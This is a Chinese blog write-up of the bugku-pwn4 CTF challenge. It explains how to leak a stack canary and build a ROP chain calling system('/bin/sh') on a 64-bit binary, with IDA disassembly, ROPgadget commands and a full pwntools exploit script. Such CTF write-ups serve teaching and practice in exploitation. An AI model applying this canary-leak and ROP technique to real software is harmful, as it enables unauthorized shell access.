2021-06-15 pwn之canary绕过简单思路梳理

本文详细分析了一个开启Canary和NX保护的程序,通过查看程序保护和main函数的栈布局,发现了栈溢出的可能。利用read函数读入超过限制的数据,目标是泄露Canary值并构造payload进行栈溢出。通过ROP gadgets获取pop_rdi;ret地址,并找到/bin/sh的内存位置,最终构造payload执行system调用,成功实现栈溢出攻击。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

一、原题链接

bugku-pwn4

二、简单解题思路

0x01、查看程序保护

在这里插入图片描述
开启了canary保护和NX保护

0x02、main的栈

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char buf[48]; // [rsp+10h] [rbp-240h] BYREF
  char v5[520]; // [rsp+40h] [rbp-210h] BYREF
  unsigned __int64 v6; // [rsp+248h] [rbp-8h]

  v6 = __readfsqword(0x28u);
  init(argc, argv, envp);
  write(1, "Welcome!\n", 0x10uLL);
  write(1, "Please leave your name(Within 36 Length):", 0x29uLL);
  read(0, buf, 0x300uLL);
  printf("Hello %s\n", buf);
  write(1, "Please leave a message(Within 0x200 Length):", 0x2CuLL);
  read(0, v5, 0x300uLL);
  printf("your message is :%s \nBye~", v5);
  return 0;
}

可以发现read可以进行栈溢出

.text:0000000000400814 ; =============== S U B R O U T I N E =======================================
.text:0000000000400814
.text:0000000000400814 ; Attributes: bp-based frame
.text:0000000000400814
.text:0000000000400814 ; int __cdecl main(int argc, const char **argv, const char **envp)
.text:0000000000400814                 public main
.text:0000000000400814 main            proc near               ; DATA XREF: _start+1D↑o
.text:0000000000400814
.text:0000000000400814 var_250         = qword ptr -250h
.text:0000000000400814 var_244         = dword ptr -244h
.text:0000000000400814 buf             = byte ptr -240h
.text:0000000000400814 var_210         = byte ptr -210h
.text:0000000000400814 var_8           = qword ptr -8
.text:0000000000400814
.text:0000000000400814 ; __unwind {
.text:0000000000400814                 push    rbp
.text:0000000000400815                 mov     rbp, rsp
.text:0000000000400818                 sub     rsp, 250h
.text:000000000040081F                 mov     [rbp+var_244], edi
.text:0000000000400825                 mov     [rbp+var_250], rsi
.text:000000000040082C                 mov     rax, fs:28h
.text:0000000000400835                 mov     [rbp+var_8], rax
.text:0000000000400839                 xor     eax, eax
.text:000000000040083B                 mov     eax, 0
.text:0000000000400840                 call    init
.text:0000000000400845                 mov     edx, 10h        ; n
.text:000000000040084A                 mov     esi, offset aWelcome ; "Welcome!\n"
.text:000000000040084F                 mov     edi, 1          ; fd
.text:0000000000400854                 call    _write
.text:0000000000400859                 mov     edx, 29h ; ')'  ; n
.text:000000000040085E                 mov     esi, offset aPleaseLeaveYou ; "Please leave your name(Within 36 Length"...
.text:0000000000400863                 mov     edi, 1          ; fd
.text:0000000000400868                 call    _write
.text:000000000040086D                 lea     rax, [rbp+buf]
.text:0000000000400874                 mov     edx, 300h       ; nbytes
.text:0000000000400879                 mov     rsi, rax        ; buf
.text:000000000040087C                 mov     edi, 0          ; fd
.text:0000000000400881                 call    _read
.text:0000000000400886                 lea     rax, [rbp+buf]
.text:000000000040088D                 mov     rsi, rax
.text:0000000000400890                 mov     edi, offset format ; "Hello %s\n"
.text:0000000000400895                 mov     eax, 0
.text:000000000040089A                 call    _printf
.text:000000000040089F                 mov     edx, 2Ch ; ','  ; n
.text:00000000004008A4                 mov     esi, offset aPleaseLeaveAMe ; "Please leave a message(Within 0x200 Len"...
.text:00000000004008A9                 mov     edi, 1          ; fd
.text:00000000004008AE                 call    _write
.text:00000000004008B3                 lea     rax, [rbp+var_210]
.text:00000000004008BA                 mov     edx, 300h       ; nbytes
.text:00000000004008BF                 mov     rsi, rax        ; buf
.text:00000000004008C2                 mov     edi, 0          ; fd
.text:00000000004008C7                 call    _read
.text:00000000004008CC                 lea     rax, [rbp+var_210]
.text:00000000004008D3                 mov     rsi, rax
.text:00000000004008D6                 mov     edi, offset aYourMessageIsS ; "your message is :%s \nBye~"
.text:00000000004008DB                 mov     eax, 0
.text:00000000004008E0                 call    _printf
.text:00000000004008E5                 mov     eax, 0
.text:00000000004008EA                 mov     rcx, [rbp+var_8]
.text:00000000004008EE                 xor     rcx, fs:28h
.text:00000000004008F7                 jz      short locret_4008FE
.text:00000000004008F9                 call    ___stack_chk_fail
.text:00000000004008FE ; ---------------------------------------------------------------------------
.text:00000000004008FE
.text:00000000004008FE locret_4008FE:                          ; CODE XREF: main+E3↑j
.text:00000000004008FE                 leave
.text:00000000004008FF                 retn
.text:00000000004008FF ; } // starts at 400814
.text:00000000004008FF main            endp
.text:00000000004008FF
.text:0000000000400900

这里有两条关键语句

.text:000000000040082C                 mov     rax, fs:28h
.text:0000000000400835                 mov     [rbp+var_8], rax

canary存在rbp+var_8处,使用gdb调试一下
在0x40082C处打断点
在这里插入图片描述
在这里插入图片描述
可以发现会把rax的值放在rbp-8的位置

0x03、构造payload

char buf[48]; // [rsp+10h] [rbp-240h] BYREF

write(1, "Please leave your name(Within 36 Length):", 0x29uLL);
read(0, buf, 0x300uLL);

这里使用第一个read函数来进行栈溢出,那么rbp的地址就是0x240
在这里插入图片描述
而刚才的关键语句0x400835地址中的var_8的为0x8
在这里插入图片描述

现在需要第一次回显泄露出canary的值,第二次利用canary的值来实现栈溢出
通过ROPgadget来获得pop rdi;ret和/bin/sh的地址

ROPgadget --binary pwn4_ --only "pop|rdi|ret"

这里为我们选择0x400963这条地址
在这里插入图片描述
本题的system里需要传参,所以还需要获取/bin/sh的地址

ROPgadget --binary pwn4_ --string "/bin/sh"

在这里插入图片描述
最后构建的栈为:

	低地址
				var 			= 垃圾数据
				canary 			= canary
				rbp 			= 垃圾数据
				pop_rdi_ret		= 0x400963
				/bin/sh			= 0x601068
	高地址		system_addr		= system地址(IDA pro 查看)

0x04、最终exp

from os import system
from pwn import *
import struct

p = process('./pwn4_')
context.log_level = 'debug'

p.recv(1024)
p.send((0x240 - 0x8) * b'a' + '\n'.encode())
p.recvline()

x = p.recvline().strip()

while len(x) < 8:
    x = b'\x00' + x

canary_addr = x

print(b'canary:' + canary_addr)

# 使用IDA pro 查看system函数的地址
system_addr = struct.pack('<Q',0x400660)

# ROPgadget --binary pwn4_ --only "pop|rdi|ret"
pop_rdi_ret = struct.pack('<Q',0x400963)
# ROPgadget --binary pwn4_ --string "/bin/sh"
binsh_addr = struct.pack('<Q',0x601068)

payload = b'b' * (0x210 - 0x8) + canary_addr + b'p' * 8 + pop_rdi_ret + binsh_addr + system_addr

p.send(payload)
p.recv(1024)
p.interactive()
p.close()

在这里插入图片描述
栈溢出成功

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值